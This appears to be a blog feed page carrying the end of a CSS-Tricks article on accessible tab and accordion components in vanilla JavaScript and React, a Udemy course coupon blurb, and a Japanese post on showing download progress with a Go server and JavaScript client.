// Get target. const { key = '', target = getDomFallback() } = event; // Get parent. const { parentNode = getDomFallback(), tagName = '' } = target; // Set later. let wrapper = getDomFallback(); /* ===== NOTE: ===== We test for this, because the method does not exist on `document.documentElement`. */ if (typeof target.closest === FUNCTION) { // Get wrapper. wrapper = target.closest(TABLIST_CLASS_SELECTOR) || getDomFallback(); }
Then, we store whether or not the tag that was clicked is a <li>. Likewise, we store a boolean about whether the wrapper element has aria-multiselectable="true". I will get back to that. We need this info later on.
We also interrogate the event a bit, to determine if it was triggered by the user pressing a key. If so, then we are only interested if that key was Enter. We also determine if the click happened on a relevant target. Remember, we are using event bubbling so really the user could have clicked anything.
We want to make sure it:
Is not disabled
Has role="tab"
Has a parent element with role="tablist"
Then we bundle up our event and target booleans into one, as isValidEvent.
// Is `<li>`? const isListItem = tagName.toLowerCase() === LI; // Is multi? const isMulti = wrapper.getAttribute(ARIA_MULTISELECTABLE) === TRUE; // Valid key? const isValidKey = !key || key.toLowerCase() === ENTER; // Valid target? const isValidTarget = !target.hasAttribute(DISABLED) && target.getAttribute(ROLE) === TAB && parentNode.getAttribute(ROLE) === TABLIST; // Valid event? const isValidEvent = isValidKey && isValidTarget;
Assuming the event is indeed valid, we make it past our next if check. Now, we are concerned with getting the role="tabpanel" element with an id that matches our tab’s aria-controls="…".
Once we have got it, we check whether the panel is hidden, and if the tab is selected. Basically, we first presuppose that we are dealing with an accordion and flip the booleans to their opposites.
This is also where our earlier isListItem boolean comes into play. If the user is clicking an <li> then we know we are dealing with tabs, not an accordion. In which case, we want to flag our panel as being visible (via aria-hiddden="false") and our tab as being selected (via aria-selected="true").
Also, we want to ensure that either the wrapper has aria-multiselectable="false" or is completely missing aria-multiselectable. If that is the case, then we loop through all neighboring role="tab" and all role="tabpanel" elements and set them to their inactive states. Finally, we arrive at setting the previously determined booleans for the individual tab and panel pairing.
// Continue? if (isValidEvent) { // Get panel. const panelId = target.getAttribute(ARIA_CONTROLS); const panel = wrapper.querySelector(`#${panelId}`) || getDomFallback(); // Get booleans. let boolPanel = panel.getAttribute(ARIA_HIDDEN) !== TRUE; let boolTab = target.getAttribute(ARIA_SELECTED) !== TRUE; // List item? if (isListItem) { boolPanel = FALSE; boolTab = TRUE; } // [aria-multiselectable="false"] if (!isMulti) { // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_SELECTOR); // Loop through tabs. childTabs.forEach((tab = getDomFallback()) => { tab.setAttribute(ARIA_SELECTED, FALSE); }); // Loop through panels. childPanels.forEach((panel = getDomFallback()) => { panel.setAttribute(ARIA_HIDDEN, TRUE); }); } // Set individual tab. target.setAttribute(ARIA_SELECTED, boolTab); // Set individual panel. panel.setAttribute(ARIA_HIDDEN, boolPanel); }
Function: addAriaAttributes
The astute reader might be thinking:
You said earlier that we start with the most bare possible markup, yet the globalClick function was looking for attributes that would not be there. Why would you lie!?
Or perhaps not, for the astute reader would have also noticed the function named addAriaAttributes. Indeed, this function does exactly what it says on the tin. It breathes life into the base DOM structure, by adding all the requisite aria-* and role attributes.
This not only makes the UI inherently more accessible to assistive technologies, but it also ensures the functionality actually works. I prefer to build vanilla JS things this way, rather than pivoting on class="…" for interactivity, because it forces me to think about the entirety of the user experience, beyond what I can see visually.
First off, we get all elements on the page that have class="tabs" and/or class="accordion". Then we check if we have something to work with. If not, then we would exit our function here. Assuming we do have a list, we loop through each of the wrapping elements and pass them into the scope of our function as wrapper.
// Get elements. const allWrappers = document.querySelectorAll(TABLIST_CLASS_SELECTOR); // Loop through. allWrappers.forEach((wrapper = getDomFallback()) => { /* NOTE: Cut, for brevity. */ });
Inside the scope of our looping function, we destructure id and classList from wrapper. If there is no ID, then we generate one via unique(). We set a boolean flag, to identify if we are working with an accordion. This is used later.
We also get decendants of wrapper that are tabs and panels, via their class name selectors.
Tabs:
class="tabs__item" or
class="accordion__item"
Panels:
class="tabs__panel" or
class="accordion__panel"
We then set the wrapper’s id if it does not already have one.
If we are dealing with an accordion that lacks aria-multiselectable="false", we set its flag to true. Reason being, if developers are reaching for an accordion UI paradigm — and also have tabs available to them, which are inherently mutually exclusive — then the safer assumption is that the accordion should support expanding and collapsing of several panels.
// Get attributes. const { id = '', classList } = wrapper; const parentId = id || unique(); // Is accordion? const isAccordion = classList.contains(ACCORDION); // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_CLASS_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_CLASS_SELECTOR); // Add ID? if (!wrapper.getAttribute(ID)) { wrapper.setAttribute(ID, parentId); } // Add multi? if (isAccordion && wrapper.getAttribute(ARIA_MULTISELECTABLE) !== FALSE) { wrapper.setAttribute(ARIA_MULTISELECTABLE, TRUE); }
Next, we loop through tabs. Wherein, we also handle our panels.
You may be wondering why this is an old school for loop, instead of a more modern *.forEach. The reason is that we want to loop through two NodeList instances: tabs and panels. Assuming they each map 1-to-1 we know they both have the same *.length. This allows us to have one loop instead of two.
Let us peer inside of the loop. First, we get unique IDs for each tab and panel. These would look like one of the two following scenarios. These are used later on, to associate tabs with panels and vice versa.
tab_WRAPPER_ID_0 or tab_GENERATED_STRING_0
tabpanel_WRAPPER_ID_0 or tabpanel_GENERATED_STRING_0
for (let index = 0; index < childTabs.length; index++) { // Get elements. const tab = childTabs[index] || getDomFallback(); const panel = childPanels[index] || getDomFallback(); // Get IDs. const tabId = getTabId(parentId, index); const panelId = getPanelId(parentId, index); /* NOTE: Cut, for brevity. */ }
As we loop through, we first ensure that an expand/collapse icon exists. We create it if necessary, and set it to aria-hidden="true" since it is purely decorative.
Next, we check on attributes for the current tab. If an id="…" does not exist on the tab, we add it. Likewise, if aria-controls="…" does not exist we add that as well, pointing to our newly created panelId.
You will notice there is a little pivot here, checking if we do not have aria-selected and then further determining if we are not in the context of an accordion and if the index is 0. In that case, we want to make our first tab look selected. The reason is that though an accordion can be fully collapsed, tabbed content cannot. There is always at least one panel visible.
Then we ensure that role="tab" exists.
It is worth noting we do some extra work, based on whether the tab is disabled. If so, we remove tabindex so that the tab cannot receive :focus. If the tab is not disabled, we add tabindex="0" so that it can receive :focus.
We also set aria-disabled="true", if need be. You might be wondering if that is redundant. But it is necessary to inform assistive technologies that the tab is not interactive. Since our tab is either a <div> or <li>, it technically cannot be disabled like an <input>. Our styles pivot on [disabled], so we get that for free. Plus, it is less cognitive overhead (as a developer creating HTML) to only worry about one attribute.
Tumblr media
Fun Fact: It is also worth noting the use of hasAttribute(…) to detect disabled, instead of getAttribute(…). This is because the mere presence of disabled will cause form elements to be disabled.
If the HTML is compiled, via tools such as Parcel…
Markup like this: <tag disabled>
Is changed to this: <tag disabled="">
In which case, getting the attribute is still a falsy string.
In the days of XHTML, that would have been disabled="disabled". But really, it was only ever the existence of the attribute that mattered. Not its value. That is why we simply test if the element has the disabled attribute.
Lastly, we check if we are on the first iteration of our loop where index is 0. If so, we go up one level to the parentNode. If that element does not have role="tablist", then we add it.
We do this via parentNode instead of wrapper because in the context of tabs (not accordion) there is a <ul>element around the tab <li> that needs role="tablist". In the case of an accordion, it would be the outermost <div> ancestor. This code accounts for both.
// Tab: add icon? if (isAccordion) { // Get icon. let icon = tab.querySelector(ACCORDION_ITEM_ICON_SELECTOR); // Create icon? if (!icon) { icon = document.createElement(I); icon.className = ACCORDION_ITEM_ICON; tab.insertAdjacentElement(AFTER_BEGIN, icon); } // [aria-hidden="true"] icon.setAttribute(ARIA_HIDDEN, TRUE); } // Tab: add id? if (!tab.getAttribute(ID)) { tab.setAttribute(ID, tabId); } // Tab: add controls? if (!tab.getAttribute(ARIA_CONTROLS)) { tab.setAttribute(ARIA_CONTROLS, panelId); } // Tab: add selected? if (!tab.getAttribute(ARIA_SELECTED)) { const bool = !isAccordion && index === 0; tab.setAttribute(ARIA_SELECTED, bool); } // Tab: add role? if (tab.getAttribute(ROLE) !== TAB) { tab.setAttribute(ROLE, TAB); } // Tab: add tabindex? if (tab.hasAttribute(DISABLED)) { tab.removeAttribute(TABINDEX); tab.setAttribute(ARIA_DISABLED, TRUE); } else { tab.setAttribute(TABINDEX, 0); } // Tab: first item? if (index === 0) { // Get parent. const { parentNode = getDomFallback() } = tab; /* We do this here, instead of outside the loop. The top level item isn't always the `tablist`. The accordion UI only has `<dl>`, whereas the tabs UI has both `<div>` and `<ul>`. */ if (parentNode.getAttribute(ROLE) !== TABLIST) { parentNode.setAttribute(ROLE, TABLIST); } }
Continuing within the earlier for loop, we add attributes for each panel. We add an id if needed. We also set aria-hidden to either true or false depending on the context of being an accordion (or not).
Likewise, we ensure that our panel points back to its tab trigger via aria-labelledby="…", and that role="tabpanel" has been set.
// Panel: add ID? if (!panel.getAttribute(ID)) { panel.setAttribute(ID, panelId); } // Panel: add hidden? if (!panel.getAttribute(ARIA_HIDDEN)) { const bool = isAccordion || index !== 0; panel.setAttribute(ARIA_HIDDEN, bool); } // Panel: add labelled? if (!panel.getAttribute(ARIA_LABELLEDBY)) { panel.setAttribute(ARIA_LABELLEDBY, tabId); } // Panel: add role? if (panel.getAttribute(ROLE) !== TABPANEL) { panel.setAttribute(ROLE, TABPANEL); }
At the very end of the file, we have a few setup and teardown functions. As a way to play nicely with other JS that might be in the page, we provide an unbind function that removes our global event listeners. It can be called by itself, via tablist.unbind() but is mostly there so that we can unbind() before (re-)binding. That way we prevent doubling up.
Inside our init function, we call addAriaAttributes() which modifies the DOM to be accessible. We then call unbind() and then add our event listeners to the document.
Finally, we bundle both methods into a parent object and export it under the name tablist. That way, when dropping it into a flat HTML page, we can call tablist.init() when we are ready to apply our functionality.
// ===================== // Remove global events. // ===================== const unbind = () => { document.removeEventListener(CLICK, globalClick); document.removeEventListener(KEYDOWN, globalClick); }; // ================== // Add global events. // ================== const init = () => { // Add attributes. addAriaAttributes(); // Prevent doubles. unbind(); document.addEventListener(CLICK, globalClick); document.addEventListener(KEYDOWN, globalClick); }; // ============== // Bundle object. // ============== const tablist = { init, unbind, }; // ======= // Export. // ======= export { tablist };
React examples
There is a scene in Batman Begins where Lucius Fox (played by Morgan Freeman) explains to a recovering Bruce Wayne (Christian Bale) the scientific steps he took to save his life after being poisoned.
Lucius Fox: “I analyzed your blood, isolating the receptor compounds and the protein-based catalyst.”
Bruce Wayne: “Am I meant to understand any of that?”
Lucius Fox: “Not at all, I just wanted you to know how hard it was. Bottom line, I synthesized an antidote.”
Tumblr media
“How do I configure Webpack?”
↑ When working with a framework, I think in those terms.
Now that we know “hard” it is — not really, but humor me — to do raw DOM manipulation and event binding, we can better appreciate the existence of an antidote. React abstracts a lot of that complexity away, and handles it for us automatically.
File: Tabs.js
Now that we are diving into React examples, we will start with the <Tabs> component.
// ============= // Used like so… // ============= <Tabs> <div label="Tab 1"> <p> Tab 1 content </p> </div> <div label="Tab 2"> <p> Tab 2 content </p> </div> </Tabs>
Here is the content from our Tabs.js file. Note that in React parlance, it is standard practice to name the file with the same capitalization as its export default component.
We start out with the same getTabId and getPanelId functions as in our vanilla JS approach, because we still need to make sure to accessibly map tabs to components. Take a look at the entirey of the code, and then we will continue to break it down.
import React, { useState } from 'react'; import PropTypes from 'prop-types'; import { v4 as uuid } from 'uuid'; import cx from 'classnames'; // UI. import Render from './Render'; // =========== // Get tab ID. // =========== const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; }; // ============= // Get panel ID. // ============= const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; }; // ========== // Is active? // ========== const getIsActive = ({ activeIndex = null, index = null, list = [] }) => { // Index matches? const isMatch = index === parseFloat(activeIndex); // Is first item? const isFirst = index === 0; // Only first item exists? const onlyFirstItem = list.length === 1; // Item doesn't exist? const badActiveItem = !list[activeIndex]; // Flag as active? const isActive = isMatch || onlyFirstItem || (isFirst && badActiveItem); // Expose boolean. return !!isActive; }; getIsActive.propTypes = { activeIndex: PropTypes.number, index: PropTypes.number, list: PropTypes.array, }; // ================ // Get `<ul>` list. // ================ const getTabsList = ({ activeIndex = null, id = '', list = [], setActiveIndex = () => {} }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { disabled = null, label = '' } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ======= // Events. // ======= const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } setActiveIndex(index); } }; // ============ // Add to list. // ============ return ( <li aria-controls={idPanel} aria-disabled={disabled} aria-selected={isActive} className="tabs__item" disabled={disabled} id={idTab} key={idTab} role="tab" tabIndex={disabled ? null : 0} // Events. onClick={handleClick} onKeyDown={handleClick} > {label || `${index + 1}`} </li> ); }); // ========== // Expose UI. // ========== return ( <Render if={newList.length}> <ul className="tabs__list" role="tablist"> {newList} </ul> </Render> ); }; getTabsList.propTypes = { activeIndex: PropTypes.number, id: PropTypes.string, list: PropTypes.array, setActiveIndex: PropTypes.func, }; // ================= // Get `<div>` list. // ================= const getPanelsList = ({ activeIndex = null, id = '', list = [] }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { children = '', className = null, style = null } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ============= // Get children. // ============= let content = children || item; if (typeof content === 'string') { content = <p>{content}</p>; } // ================= // Build class list. // ================= const classList = cx({ tabs__panel: true, [String(className)]: className, }); // ========== // Expose UI. // ========== return ( <div aria-hidden={!isActive} aria-labelledby={idTab} className={classList} id={idPanel} key={idPanel} role="tabpanel" style={style} > {content} </div> ); }); // ========== // Expose UI. // ========== return newList; }; getPanelsList.propTypes = { activeIndex: PropTypes.number, id: PropTypes.string, list: PropTypes.array, }; // ========== // Component. // ========== const Tabs = ({ children = '', className = null, selected = 0, style = null, id: propsId = uuid(), }) => { // =============== // Internal state. // =============== const [id] = useState(propsId); const [activeIndex, setActiveIndex] = useState(selected); // ================= // Build class list. // ================= const classList = cx({ tabs: true, [String(className)]: className, }); // =============== // Build UI lists. // =============== const list = Array.isArray(children) ? children : [children]; const tabsList = getTabsList({ activeIndex, id, list, setActiveIndex, }); const panelsList = getPanelsList({ activeIndex, id, list, }); // ========== // Expose UI. // ========== return ( <Render if={list[0]}> <div className={classList} id={id} style={style}> {tabsList} {panelsList} </div> </Render> ); }; Tabs.propTypes = { children: PropTypes.node, className: PropTypes.string, id: PropTypes.string, selected: PropTypes.number, style: PropTypes.object, }; export default Tabs;
Function: getIsActive
Due to a <Tabs> component always having something active and visible, this function contains some logic to determine whether an index of a given tab should be the lucky winner. Essentially, in sentence form the logic goes like this.
This current tab is active if:
Its index matches the activeIndex, or
The tabs UI has only one tab, or
It is the first tab, and the activeIndex tab does not exist.
const getIsActive = ({ activeIndex = null, index = null, list = [] }) => { // Index matches? const isMatch = index === parseFloat(activeIndex); // Is first item? const isFirst = index === 0; // Only first item exists? const onlyFirstItem = list.length === 1; // Item doesn't exist? const badActiveItem = !list[activeIndex]; // Flag as active? const isActive = isMatch || onlyFirstItem || (isFirst && badActiveItem); // Expose boolean. return !!isActive; };
Function: getTabsList
This function generates the clickable <li role="tabs"> UI, and returns it wrapped in a parent <ul role="tablist">. It assigns all the relevant aria-* and role attributes, and handles binding the onClickand onKeyDown events. When an event is triggered, setActiveIndex is called. This updates the component’s internal state.
It is noteworthy how the content of the <li> is derived. That is passed in as <div label="…"> children of the parent <Tabs> component. Though this is not a real concept in flat HTML, it is a handy way to think about the relationship of the content. The children of that <div> become the the innards of our role="tabpanel" later.
const getTabsList = ({ activeIndex = null, id = '', list = [], setActiveIndex = () => {} }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { disabled = null, label = '' } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ======= // Events. // ======= const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } setActiveIndex(index); } }; // ============ // Add to list. // ============ return ( <li aria-controls={idPanel} aria-disabled={disabled} aria-selected={isActive} className="tabs__item" disabled={disabled} id={idTab} key={idTab} role="tab" tabIndex={disabled ? null : 0} // Events. onClick={handleClick} onKeyDown={handleClick} > {label || `${index + 1}`} </li> ); }); // ========== // Expose UI. // ========== return ( <Render if={newList.length}> <ul className="tabs__list" role="tablist"> {newList} </ul> </Render> ); };
Function: getPanelsList
This function parses the incoming children of the top level component and extracts the content. It also makes use of getIsActive to determine whether (or not) to apply aria-hidden="true". As one might expect by now, it adds all the other relevant aria-* and role attributes too. It also applies any extra className or style that was passed in.
It also is “smart” enough to wrap any string content — anything lacking a wrapping tag already — in <p> tags for consistency.
const getPanelsList = ({ activeIndex = null, id = '', list = [] }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { children = '', className = null, style = null } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ============= // Get children. // ============= let content = children || item; if (typeof content === 'string') { content = <p>{content}</p>; } // ================= // Build class list. // ================= const classList = cx({ tabs__panel: true, [String(className)]: className, }); // ========== // Expose UI. // ========== return ( <div aria-hidden={!isActive} aria-labelledby={idTab} className={classList} id={idPanel} key={idPanel} role="tabpanel" style={style} > {content} </div> ); }); // ========== // Expose UI. // ========== return newList; };
Function: Tabs
This is the main component. It sets an internal state for an id, to essentially cache any generated uuid() so that it does not change during the lifecycle of the component. React is finicky about its key attributes (in the previous loops) changing dynamically, so this ensures they remain static once set.
We also employ useState to track the currently selected tab, and pass down a setActiveIndex function to each <li> to monitor when they are clicked. After that, it is pretty straightfowrard. We call getTabsList and getPanelsList to build our UI, and then wrap it all up in <div role="tablist">.
It accepts any wrapper level className or style, in case anyone wants further tweaks during implementation. Providing other developers (as consumers) this flexibility means that the likelihood of needing to make further edits to the core component is lower. Lately, I have been doing this as a “best practice” for all components I create.
const Tabs = ({ children = '', className = null, selected = 0, style = null, id: propsId = uuid(), }) => { // =============== // Internal state. // =============== const [id] = useState(propsId); const [activeIndex, setActiveIndex] = useState(selected); // ================= // Build class list. // ================= const classList = cx({ tabs: true, [String(className)]: className, }); // =============== // Build UI lists. // =============== const list = Array.isArray(children) ? children : [children]; const tabsList = getTabsList({ activeIndex, id, list, setActiveIndex, }); const panelsList = getPanelsList({ activeIndex, id, list, }); // ========== // Expose UI. // ========== return ( <Render if={list[0]}> <div className={classList} id={id} style={style}> {tabsList} {panelsList} </div> </Render> ); };
If you are curious about the <Render> function, you can read more about that in this example.
File: Accordion.js
// ============= // Used like so… // ============= <Accordion> <div label="Tab 1"> <p> Tab 1 content </p> </div> <div label="Tab 2"> <p> Tab 2 content </p> </div> </Accordion>
As you may have deduced — due to the vanilla JS example handling both tabs and accordion — this file has quite a few similarities to how Tabs.js works.
Rather than belabor the point, I will simply provide the file’s contents for completeness and then speak about the specific areas in which the logic differs. So, take a gander at the contents and I will explain what makes <Accordion> quirky.
import React, { useState } from 'react'; import PropTypes from 'prop-types'; import { v4 as uuid } from 'uuid'; import cx from 'classnames'; // UI. import Render from './Render'; // =========== // Get tab ID. // =========== const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; }; // ============= // Get panel ID. // ============= const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; }; // ============================== // Get `tab` and `tabpanel` list. // ============================== const getTabsAndPanelsList = ({ activeItems = {}, id = '', isMulti = true, list = [], setActiveItems = () => {}, }) => { // Build new list. const newList = []; // Loop through. list.forEach((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { children = '', className = null, disabled = null, label = '', style = null, } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = !!activeItems[index]; // ======= // Events. // ======= const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } // Keep active items? const state = isMulti ? activeItems : null; // Update active item. const newState = { ...state, [index]: !activeItems[index], }; // Set active item. setActiveItems(newState); } }; // ============= // Get children. // ============= let content = children || item; if (typeof content === 'string') { content = <p>{content}</p>; } // ================= // Build class list. // ================= const classList = cx({ accordion__panel: true, [String(className)]: className, }); // ======== // Add tab. // ======== newList.push( <div aria-controls={idPanel} aria-disabled={disabled} aria-selected={isActive} className="accordion__item" disabled={disabled} id={idTab} key={idTab} role="tab" tabIndex={disabled ? null : 0} // Events. onClick={handleClick} onKeyDown={handleClick} > <i aria-hidden="true" className="accordion__item__icon" /> {label || `${index + 1}`} </div> ); // ========== // Add panel. // ========== newList.push( <div aria-hidden={!isActive} aria-labelledby={idTab} className={classList} id={idPanel} key={idPanel} role="tabpanel" style={style} > {content} </div> ); }); // ========== // Expose UI. // ========== return newList; }; getTabsAndPanelsList.propTypes = { activeItems: PropTypes.object, id: PropTypes.string, isMulti: PropTypes.bool, list: PropTypes.array, setActiveItems: PropTypes.func, }; // ========== // Component. // ========== const Accordion = ({ children = '', className = null, isMulti = true, selected = {}, style = null, id: propsId = uuid(), }) => { // =============== // Internal state. // =============== const [id] = useState(propsId); const [activeItems, setActiveItems] = useState(selected); // ================= // Build class list. // ================= const classList = cx({ accordion: true, [String(className)]: className, }); // =============== // Build UI lists. // =============== const list = Array.isArray(children) ? children : [children]; const tabsAndPanelsList = getTabsAndPanelsList({ activeItems, id, isMulti, list, setActiveItems, }); // ========== // Expose UI. // ========== return ( <Render if={list[0]}> <div aria-multiselectable={isMulti} className={classList} id={id} role="tablist" style={style} > {tabsAndPanelsList} </div> </Render> ); }; Accordion.propTypes = { children: PropTypes.node, className: PropTypes.string, id: PropTypes.string, isMulti: PropTypes.bool, selected: PropTypes.object, style: PropTypes.object, }; export default Accordion;
Function: handleClick
While most of our <Accordion> logic is similar to <Tabs>, it differs in how it stores the currently active tab.
Since <Tabs> are always mutually exclusive, we only really need a single numeric index. Easy peasy.
However, because an <Accordion> can have concurrently visible panels — or be used in a mutually exclusive manner — we need to represent that to useState in a way that could handle both.
If you were beginning to think…
“I would store that in an object.”
…then congrats. You are right!
This function does a quick check to see if isMulti has been set to true. If so, we use the spread syntax to apply the existing activeItems to our newState object. We then set the current index to its boolean opposite.
const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } // Keep active items? const state = isMulti ? activeItems : null; // Update active item. const newState = { ...state, [index]: !activeItems[index], }; // Set active item. setActiveItems(newState); } };
For reference, here is how our activeItems object looks if only the first accordion panel is active and a user clicks the second. Both indexes would be set to true. This allows for viewing two expanded role="tabpanel" simultaneously.
/* Internal representation of `activeItems` state. */ { 0: true, 1: true, }
Whereas if we were not operating in isMulti mode — when the wrapper has aria-multiselectable="false" — then activeItems would only ever contain one key/value pair.
Because rather than spreading the current activeItems, we would be spreading null. That effectively wipes the slate clean, before recording the currently active tab.
/* Internal representation of `activeItems` state. */ { 1: true, }
Conclusion
Still here? Awesome.
Hopefully you found this article informative, and maybe even learned a bit more about accessibility and JS(X) along the way. For review, let us look one more time at our flat HTML example and and the React usage of our <Tabs>component. Here is a comparison of the markup we would write in a vanilla JS approach, versus the JSX it takes to generate the same thing.
I am not saying that one is better than the other, but you can see how React makes it possible to distill things down into a mental model. Working directly in HTML, you always have to be aware of every tag.
HTML
<div class="tabs"> <ul class="tabs__list"> <li class="tabs__item"> Tab 1 </li> <li class="tabs__item"> Tab 2 </li> </ul> <div class="tabs__panel"> <p> Tab 1 content </p> </div> <div class="tabs__panel"> <p> Tab 2 content </p> </div> </div>
JSX
<Tabs> <div label="Tab 1"> Tab 1 content </div> <div label="Tab 2"> Tab 2 content </div> </Tabs>
↑ One of these probably looks preferrable, depending on your point of view.
Writing code closer to the metal means more direct control, but also more tedium. Using a framework like React means you get more functionality “for free,” but also it can be a black box.
That is, unless you understand the underlying nuances already. Then you can fluidly operate in either realm. Because you can see The Matrix for what it really is: Just JavaScript
Tumblr media
. Not a bad place to be, no matter where you find yourself.
The post The Anatomy of a Tablist Component in Vanilla JavaScript Versus React appeared first on CSS-Tricks.
source https://css-tricks.com/the-anatomy-of-a-tablist-component-in-vanilla-javascript-versus-react/
from WordPress https://ift.tt/3c7Dj6X via IFTTT
0 notes
udemy-gift-coupon-blog · 7 years ago
Link
JavaScript Practice - Build 5 applications ##FreeCourse ##UdemyOnlineCourse #Applications #Build #JavaScript #Practice JavaScript Practice - Build 5 applications Practice JavaScript HERE!!! Building 5 applications from scratch Coin Toss Application - is it heads or tails Setting up HTML elements and selecting them using JavaScript Making elements interactive event listeners How to apply conditions for game logic Checking win conditions and game end function Selecting elements querySelector and querySelectorAll Manipulating HTML element content JavaScript Math random and Math floor methods Source Code included Magic 8 Ball - find out the answer to your questions Element manipulation and selection JavaScript DOM Document Object Model Interaction with event listeners Math.floor() Math.random() Random response content Combination Cracker - can you guess the combo lock JavaScript dynamically create elements Select and add interactive content Variables and objects for scoring Math.random() make it unpredictable Setting element attributes Adding and removing element classes Adding to element object data Win conditions and game end functions Element color updates and manipulation Element selection Game logic and building sequence Word Scramble - guess the word JavaScript arrays - randomize array contents Element selection and manipulation of DOM content Interactive event listeners Dynamic class updates Element object data JavaScript Math random and Math methods Countdown Timer - Pick a date and see how much time is left with a dynamically updating counter Select and update elements on the page Explore using JavaScript methods like Math, Date, setInterval,  clearInterval Make it interactive add event listeners Dynamic values with querySelector Loops of objects Step by step lessons - source code included No libraries, no shortcuts just learning JavaScript making it DYNAMIC and INTERACTIVE web application. Step by step learning with all steps included. Beginner JavaScript knowledge is required as the course covers only JavaScript relevant to the building of the game.  Also HTML and CSS knowledge is essential as scope of this course is all JavaScript focused.   Along with friendly support in the Q&A to help you learn and answer any questions you may have. Try it now you have nothing to lose, comes with a 30 day money back guarantee.   Start building your own version of the game today!!!! Who this course is for: Beginners to JavaScript Anyone who wants to practice writing JavaScript Web developers Webmasters Anyone who wants to learn to make a JavaScript game without any libraries 👉 Activate Udemy Coupon 👈 Free Tutorials Udemy Review Real Discount Udemy Free Courses Udemy Coupon Udemy Francais Coupon Udemy gratuit Coursera and Edx ELearningFree Course Free Online Training Udemy Udemy Free Coupons Udemy Free Discount Coupons Udemy Online Course Udemy Online Training 100% FREE Udemy Discount Coupons https://www.couponudemy.com/blog/javascript-practice-build-5-applications/
0 notes
mattn · 8 years ago
Text
ダウンロードの進捗プログレスバー実装は可能か
要求仕様から工数を出す側から言うと「ブラウザのダウンロード画面に進捗出てるから要らないでしょ」と言いたい所でしたが「出来ないのか」と言われると「出来るもん」と言わざると得ないエンジニア魂。
JavaScript - ブラウザから、ファイルをダウンロードしている途中で、プログレスバーを実装したい。完了したら、プログレスバーを閉じたい。(81363)|teratail
前提・実現したいこと javaScript/HTML/CSSを利用しております。 目的は、ブラウザから、ファイルをダウンロードしている途中で、プログレスバーを実装したい。完了したら、プログレスバーを閉...
http://ift.tt/2twh9oV
通常、ブラウザからファイルをダウンロードする際は javascript からは制御できません。サーバからバイト列を JSON で Range っぽく返して最後に data スキームでダウンロードダイアログを出す、といったニッチなテクニッ���でも事も出来なくないですがブラウザにメモリを保持してしまって大きいファイルだとハングしかねない等の問題が発生します。で、どうやるかというとまずはサーバの処理
package main import (     "fmt"     "log"     "net/http"     "os"     "sync"     "http://ift.tt/2sWCH0Q;     "http://ift.tt/1QJKGzd; ) var (     m = &sync.Map{} ) // ダウンロードの進捗を JSON で返す func stat(c echo.Context) error {     ck, err := c.Cookie("download-progress")     if err != nil {         log.Println(err)         return err     }     progress := 0     v, ok := m.Load(ck.Value)     if ok {         if vi, ok := v.(int); ok {             progress = vi         }     }     return c.JSON(http.StatusOK, &struct {         Progress int `json:"progress"`     }{         Progress: progress,     }) } // クライアントにデータを送信しつつ進捗を更新 func download(c echo.Context) error {     id := uuid.New().String()     c.SetCookie(&http.Cookie{         Name:  "download-progress",         Value: id,     })     f, err := os.Open("ubuntu-17.04-server-amd64.iso")     if err != nil {         log.Println(err)         return err     }     defer f.Close()     st, err := f.Stat()     if err != nil {         log.Println(err)         return err     }     total := st.Size()     rest := total     m.Store(id, 0)     w := c.Response().Writer     w.Header().Set("Content-Disposition", "attachment")     w.Header().Set("Content-Length", fmt.Sprint(total))     for {         var b [4098]byte         n, err := f.Read(b[:])         if err != nil {             break         }         _, err = w.Write(b[:n])         if err != nil {             break         }         rest -= int64(n)         m.Store(id, int((total-rest)*100/total))         if total <= 0 {             break         }     }     m.Store(id, nil)     return nil } func main() {     e := echo.New()     e.GET("/stat", stat)     e.GET("/download", download)     e.Static("/", "static")     e.Logger.Fatal(e.Start(":8989")) }
そしてクライアント側の処理
<!DOCTYPE html> <html> <head>     <meta charset="utf-8">     <title>download</title> <script> window.addEventListener('load', function() {   function progress() {     fetch("/stat", {       'credentials': "same-origin"     }).then(function(response) {       return response.json();     }).then(function(json) {       document.querySelector('#progress').textContent = json.progress + "%";       if (json.progress < 100) setTimeout(progress, 1000);     })   }   document.querySelector('#download').addEventListener('click', function() {     progress();     return true;   }); }, false); </script> </head> <body>     <p>         <span id="progress"></span>     </p>     <a id="download" href="/download">Download</a> </body> </html>
ダウンロードが始まったらランダムIDでクッキーを返送し、そのIDでステータスの要求を受け付ける。ダウンロードは細かい単位で行い都度進捗を更新する。こうすればダウンロードが始まれば進捗がパーセンテージで表示され、終了すればタイマーが止まる。プログレスバー表示やダウンロードをキャンセルした際の処理はめんどくさいので実装してないですが分かりますよね。あとダウンロードが終わったら m から破棄しないと何時かサーバがパンクしますよっと。
